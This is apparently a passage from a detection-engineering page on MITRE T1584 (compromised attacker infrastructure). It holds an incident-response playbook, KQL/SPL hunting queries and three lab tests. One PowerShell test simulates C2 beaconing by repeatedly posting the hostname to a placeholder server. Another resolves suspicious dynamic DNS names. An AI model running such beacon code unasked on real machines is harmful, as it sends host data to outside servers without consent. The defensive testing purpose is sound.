Collect Sysmon operational log (Microsoft-Windows-Sysmon/Operational) from the affected host for the relevant time window, exported as EVTX.
Capture network traffic pcap if feasible via endpoint agent or inline sensor for the beaconing connection. Even 5 minutes of capture may reveal C2 protocol structure.
Document the full passive DNS history for all external IPs and domains involved, noting any recent changes in A record targets within the past 30 days (use VirusTotal passive DNS, SecurityTrails, or RiskIQ).
Collect prefetch files from C:\Windows\Prefetch\ for the beaconing process executable to establish first execution time and frequency.

Escalation Criteria

! Escalate to IR immediately if beaconing process is a system process (lsass.exe, services.exe, winlogon.exe) — indicates process injection into trusted processes for C2 persistence.
! Escalate if the same remote IP/domain is seen in connection logs across 3 or more distinct endpoints — indicates active campaign leveraging compromised infrastructure for broad targeting.
! Escalate if threat intelligence confirms the remote IP or domain is actively attributed to a known threat actor campaign (APT or financially motivated group) within the past 90 days.
! Escalate if payload analysis reveals use of known post-exploitation frameworks (Cobalt Strike, Metasploit, Sliver, Brute Ratel) being staged or executed via the compromised infrastructure.
! Escalate if data exfiltration indicators are present: BytesSent > 10MB in a single session, connections to cloud storage domains, or archive creation (zip/tar/rar) activity immediately preceding the beaconing.
! Escalate if the beaconing endpoint is a server, domain controller, or privileged workstation — blast radius of compromise is significantly higher.

Investigation Guide

Forensic Artifacts

> Windows DNS client cache: `ipconfig /displaydns` output captures recent resolutions to compromised domains
> Sysmon Event ID 22 logs: DNS query name, queried process, and resolved IP provide full resolution chain
> Sysmon Event ID 3 logs: source process, destination IP, destination port, and connection state for all network connections
> Browser history and cached DNS: useful if initial compromise was via drive-by from a compromised web service
> Windows Prefetch (C:\Windows\Prefetch\): execution history of beaconing processes
> Network adapter ARP cache: `arp -a` may show recently contacted hosts before DNS cache expires
> EDR process tree: full parent-child chain showing how beaconing process was launched
> Firewall and proxy logs: corroborate endpoint telemetry and may show additional destinations not captured by endpoint agent
> Memory forensics (volatility2/3 on acquired memory image): `netscan` plugin shows live and recently closed connections; `malfind` can identify injected modules in system processes

Tuning Guidance

Start by building an allowlist of known-legitimate VPN, RMM, and update service domains and IPs specific to your environment. Pull 30 days of DeviceNetworkEvents for your endpoints, identify the top 50 most-connected external destinations, and verify each against your software inventory — these become your baseline exclusions. For beaconing detection, adjust the BeaconingThreshold variable (currently 20 connections) based on your environment's noise floor; start high (50+) and lower incrementally. The dynamic DNS alert will generate volume in developer-heavy environments — consider adding a device group filter to exclude developer workstations or scope to servers only for initial deployment. Review the SuspiciousASNs list against your cloud vendors; if your organization legitimately hosts services on DigitalOcean or Hetzner, add destination IP allowlists for those specific services. For the fast-flux hunt, exclude known peer-to-peer software (Teams, Slack, Zoom) which legitimately connects to many IPs.

Hunting Queries

Hunts for non-browser, non-security-tool processes making HTTPS connections to major VPS/cloud hosting provider IP ranges commonly used as compromised infrastructure. Identifies unusual software beaconing to hosting ASNs that legitimate applications rarely need to contact directly.

Hunting — KQL

kql

// Hunt for non-browser processes making HTTPS connections to hosting providers
// commonly used as compromised VPS infrastructure
let HostingASNRanges = dynamic([
    "104.21.", "172.67.",   // Cloudflare
    "157.245.", "167.99.", "161.35.", "174.138.",  // DigitalOcean
    "51.77.", "51.89.", "54.36.", "147.135.",  // OVH
    "195.201.", "78.46.", "116.203.",  // Hetzner
    "45.33.", "45.56.", "45.79."  // Linode/Akamai
]);
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| where not(ipv4_is_private(RemoteIP))
| where InitiatingProcessFileName !in~ ("chrome.exe","firefox.exe","msedge.exe","iexplore.exe","opera.exe","brave.exe","safari","curl","wget")
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","SenseCncProxy.exe","MsSense.exe","SenseIR.exe","OneDrive.exe","Teams.exe","Outlook.exe","explorer.exe")
| where (RemoteIP startswith "104.21." or RemoteIP startswith "172.67." or RemoteIP startswith "157.245." or RemoteIP startswith "167.99." or RemoteIP startswith "161.35." or RemoteIP startswith "51.77." or RemoteIP startswith "195.201." or RemoteIP startswith "78.46." or RemoteIP startswith "45.33.")
| summarize
    ConnectionCount = count(),
    UniqueIPs = dcount(RemoteIP),
    DomainsSeen = make_set(RemoteUrl, 10),
    DeviceList = make_set(DeviceName, 5)
    by InitiatingProcessFileName, InitiatingProcessFolderPath
| where ConnectionCount >= 5
| sort by ConnectionCount desc

Hunting — SPL

spl

index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 DestinationPort=443
| eval process=Image, dest_ip=DestinationIp, dest_host=DestinationHostname
| where NOT match(process, "(?i)(chrome\.exe|firefox\.exe|msedge\.exe|iexplore\.exe|MsMpEng\.exe|OneDrive\.exe|Teams\.exe|Outlook\.exe)")
| where (match(dest_ip, "^104\.21\.") OR match(dest_ip, "^172\.67\.") OR match(dest_ip, "^157\.245\.") OR match(dest_ip, "^167\.99\.") OR match(dest_ip, "^161\.35\.") OR match(dest_ip, "^195\.201\.") OR match(dest_ip, "^78\.46\.") OR match(dest_ip, "^45\.(33|56|79)\."))
| stats count AS conn_count, dc(dest_ip) AS unique_ips, values(dest_ip) AS dest_ips, values(Computer) AS affected_hosts by process
| where conn_count >= 5
| sort - conn_count

Hunts for IP addresses being reached by many different domain names (possible domain fronting or CDN-hosted C2 infrastructure) and endpoints resolving unusually high numbers of distinct domains in a short window (possible DGA or fast-flux rotation through compromised DNS).

Hunting — KQL

kql

// Hunt for DNS resolution patterns consistent with domain fronting or compromised CDN abuse
// Domain fronting: SNI differs from actual Host header target
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| where isnotempty(RemoteUrl)
// Detect mismatch between resolved IP and domain — same IP reached via many different hostnames
| summarize
    DomainsPerIP = dcount(RemoteUrl),
    DomainList = make_set(RemoteUrl, 20),
    ConnectionCount = count(),
    ProcessList = make_set(InitiatingProcessFileName, 5),
    DeviceList = make_set(DeviceName, 5)
    by RemoteIP
| where DomainsPerIP >= 10
// Filter out known CDN IPs by excluding very high connection counts that indicate legitimate CDN
| where ConnectionCount < 50000
| sort by DomainsPerIP desc
| project RemoteIP, DomainsPerIP, ConnectionCount, DomainList, ProcessList, DeviceList

Hunting — SPL

spl

index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
| eval domain=QueryName, process=Image
| where isnotnull(domain) AND len(domain) > 0
| stats dc(domain) AS domains_resolved, values(domain) AS domain_list, count AS total_queries, values(process) AS processes by Computer
| where domains_resolved >= 50 AND total_queries >= 100
| eval suspicious_ratio=round(total_queries / domains_resolved, 2)
| where suspicious_ratio < 2
| sort - domains_resolved

Hunts for DNS resolutions and TLS connections to high-entropy domain names (likely algorithmically generated or randomly provisioned on compromised infrastructure) and IP-based hostnames using nip.io/sslip.io style domains commonly used to provision TLS certs for compromised server IPs without registering a real domain.

Hunting — KQL

kql

// Hunt for certificate transparency log mismatches — process connecting to domain
// whose TLS certificate CN doesn't match the destination URL (possible hijacked cert)
// Uses DeviceNetworkEvents TLS fields where available
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort == 443
| where ActionType == "ConnectionSuccess"
| where isnotempty(RemoteUrl)
| where isnotempty(TunnelType) or isnotempty(Protocol)
// Focus on unexpected processes making TLS connections to destinations with
// low-reputation or newly registered domain indicators in the URL
| where RemoteUrl matches regex @"(?i)([a-z0-9]{16,}\.(com|net|org|info|biz)|[0-9]{1,3}-[0-9]{1,3}-[0-9]{1,3}-[0-9]{1,3}\.(sslip\.io|nip\.io|xip\.io))"
| where InitiatingProcessFileName !in~ ("chrome.exe","firefox.exe","msedge.exe","MsMpEng.exe")
| summarize
    Count = count(),
    Devices = make_set(DeviceName, 5),
    Processes = make_set(InitiatingProcessFileName, 5)
    by RemoteUrl, RemoteIP
| sort by Count desc

Hunting — SPL

spl

index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
| eval domain=QueryName
| where match(domain, "[a-z0-9]{16,}\.(com|net|org|info|biz)$") OR match(domain, "[0-9]+-[0-9]+-[0-9]+-[0-9]+\.(sslip\.io|nip\.io|xip\.io)$")
| stats count AS query_count, dc(Computer) AS host_count, values(Computer) AS hosts, values(Image) AS processes by domain
| sort - query_count

Atomic Red Team Tests

Test 1 Simulate C2 Beaconing to Compromised VPS Infrastructure

windows

Simulates a C2 implant beaconing to a remote server at regular intervals, mimicking the pattern produced by malware using compromised infrastructure. Uses PowerShell to make repeated HTTP connections to a controlled external endpoint, producing Sysmon Event ID 3 network connection events and triggering the beaconing detection branch.

Command

powershell

# WARNING: Run only in isolated lab environment against a server you control
# Replace TARGET_IP with an IP you own for testing
$targetUrl = "http://YOUR_CONTROLLED_SERVER_IP:8080/beacon"
$beaconInterval = 30  # seconds
$beaconCount = 25     # total connections (exceeds 20-connection threshold)
$processName = "powershell.exe"
Write-Host "[*] Starting simulated C2 beacon to $targetUrl"
Write-Host "[*] Sending $beaconCount beacons at $beaconInterval second intervals"
for ($i = 1; $i -le $beaconCount; $i++) {
    try {
        $response = Invoke-WebRequest -Uri $targetUrl -Method POST -Body "beacon=$i&host=$env:COMPUTERNAME" -TimeoutSec 5 -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Beacon $i sent - Status: $($response.StatusCode)"
    } catch {
        Write-Host "[-] Beacon $i failed: $($_.Exception.Message)"
    }
    if ($i -lt $beaconCount) { Start-Sleep -Seconds $beaconInterval }
}
Write-Host "[*] Beacon simulation complete"

Cleanup

powershell

# No cleanup required - connections are ephemeral
# Verify test data in Sysmon logs:
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' -FilterXPath "*[EventData[Data[@Name='EventType']='Network connection detected'] and EventData[Data[@Name='Image'] contains 'powershell']]" | Select-Object -Last 10 | Format-List

Expected Telemetry

Sysmon Event ID 3 (Network Connection) from powershell.exe to TARGET_IP on port 8080, firing at regular 30-second intervals. DeviceNetworkEvents in Defender for Endpoint will show repeated ConnectionSuccess events from PowerShell to the destination IP.

Expected Detection

Beaconing alert should fire after approximately 20 connections (within ~10 minutes at 30-second intervals). Alert should show: ConnectionCount >= 20, BeaconRate between 0.5-200 per hour, SampleProcesses containing 'powershell.exe'.

Test 2 DNS Resolution to Dynamic DNS Provider Domain

windows

Simulates malware resolving a C2 hostname registered on a dynamic DNS provider (duckdns.org) to locate compromised infrastructure. Produces Sysmon Event ID 22 (DNS Query) with the suspicious domain name that triggers the dynamic DNS detection branch. Uses nslookup and PowerShell to generate the resolution events.

Command

powershell

# This test resolves a benign test hostname on duckdns.org to simulate the DNS pattern
# No network connection is made to any malicious infrastructure
$suspiciousDomains = @(
    "test-argus-detection.duckdns.org",
    "argus-test-node.ddns.net",
    "detection-test.hopto.org"
)
Write-Host "[*] Simulating DNS resolutions to dynamic DNS provider domains"
foreach ($domain in $suspiciousDomains) {
    Write-Host "[*] Resolving: $domain"
    try {
        $result = Resolve-DnsName -Name $domain -Type A -ErrorAction Stop
        Write-Host "[+] Resolved $domain -> $($result.IPAddress -join ', ')"
    } catch {
        # NXDOMAIN is expected for test hostnames - the DNS QUERY is what matters for detection
        Write-Host "[~] DNS query sent for $domain (NXDOMAIN is acceptable for test)"
        # Fallback: use nslookup which still generates Event ID 22
        nslookup $domain 2>&1 | Out-Null
    }
}
Write-Host "[*] DNS simulation complete - check Sysmon Event ID 22 logs"

Cleanup

powershell

# Flush DNS cache after test
ipconfig /flushdns
Write-Host "[*] DNS cache flushed"

Expected Telemetry

Sysmon Event ID 22 (DNS Query) entries for each domain in the $suspiciousDomains list. The Image field will show powershell.exe or the parent process. QueryName will contain the duckdns.org / ddns.net / hopto.org domains.

Expected Detection

SuspiciousDynamicDNSResolution alert should fire for each resolution matching the dynamic DNS provider regex pattern. The alert will show the queried domain, the resolving process (powershell.exe), and the affected host.

Test 3 Simulate Fast-Flux Connection Pattern from Non-Browser Process

windows

Simulates the network activity pattern produced by an implant enrolled in a botnet or proxy network using compromised infrastructure, where the malware makes connections to many distinct external IPs rapidly. Generates Sysmon Event ID 3 events from a non-browser process to 10+ distinct public IPs within a single hour window, matching the fast-flux detection threshold.

Command

powershell

# Simulates fast-flux pattern by connecting to multiple distinct public IPs
# Uses public NTP servers (UDP 123) and HTTP servers as harmless connection targets
# These are legitimate public servers - only the PATTERN is being tested, not the content
$testTargets = @(
    "162.159.200.1",   # Cloudflare NTP
    "216.239.35.0",    # Google NTP  
    "129.6.15.28",     # NIST NTP
    "132.163.96.1",    # NIST NTP alternate
    "140.82.112.3",    # GitHub
    "151.101.1.140",   # Fastly CDN
    "104.244.42.1",    # Twitter/X CDN
    "31.13.65.36",     # Meta CDN
    "52.94.236.248",   # Amazon
    "13.107.42.14",    # Microsoft CDN
    "172.217.5.110"    # Google
)
$port = 80
Write-Host "[*] Simulating fast-flux pattern: connecting to $($testTargets.Count) distinct public IPs"
$successCount = 0
foreach ($ip in $testTargets) {
    try {
        $tcp = New-Object System.Net.Sockets.TcpClient
        $connectResult = $tcp.BeginConnect($ip, $port, $null, $null)
        $waited = $connectResult.AsyncWaitHandle.WaitOne(1000)
        if ($waited) {
            $successCount++
            Write-Host "[+] Connected to $ip`:$port"
        } else {
            Write-Host "[~] Timeout connecting to $ip`:$port (connection attempt logged)"
        }
        $tcp.Close()
    } catch {
        Write-Host "[~] $ip`:$port - $($_.Exception.Message) (attempt still logged)"
    }
}
Write-Host "[*] Fast-flux simulation complete. $successCount/$($testTargets.Count) connections established."
Write-Host "[*] Check Sysmon Event ID 3 for powershell.exe connections to distinct IPs"

Cleanup

powershell

# No persistent state to clean up
# Verify generated events:
Get-WinEvent -LogName 'Microsoft-Windows-Sysmon/Operational' -FilterXPath "*[System[EventID=3] and EventData[Data[@Name='Image'] contains 'powershell']]" | Select-Object -Last 15 | Format-List TimeCreated, Message

Expected Telemetry

Sysmon Event ID 3 (Network Connection) events from powershell.exe to 10+ distinct destination IPs on port 80, all occurring within a short time window. DeviceNetworkEvents will show ConnectionAttempt or ConnectionSuccess entries for each target IP.

Expected Detection

PotentialFastFluxOrBotnetActivity alert should fire within the same 1-hour bin, showing unique_dest_ips >= 10 and total_connections >= 10 from powershell.exe. The alert identifies the host, process, and count of distinct destination IPs contacted.

What is T1584 Compromise Infrastructure?

MITRE ATT&CK

Data Sources

Required Tables

False Positives

Data Sources

Required Sourcetypes

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Sigma rule & cross-platform mapping

Platform-specific guides for T1584

Testing Methodology

Response Playbook

Triage

Containment

Evidence Collection

Escalation Criteria

Investigation Guide

Forensic Artifacts

Tuning Guidance

Hunting Queries

Atomic Red Team Tests

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Related Detections

Tactic Hub

Sub-techniques (8)

Related Techniques

Same Tactic: Resource Development

Popular Detections

Get new detections in your inbox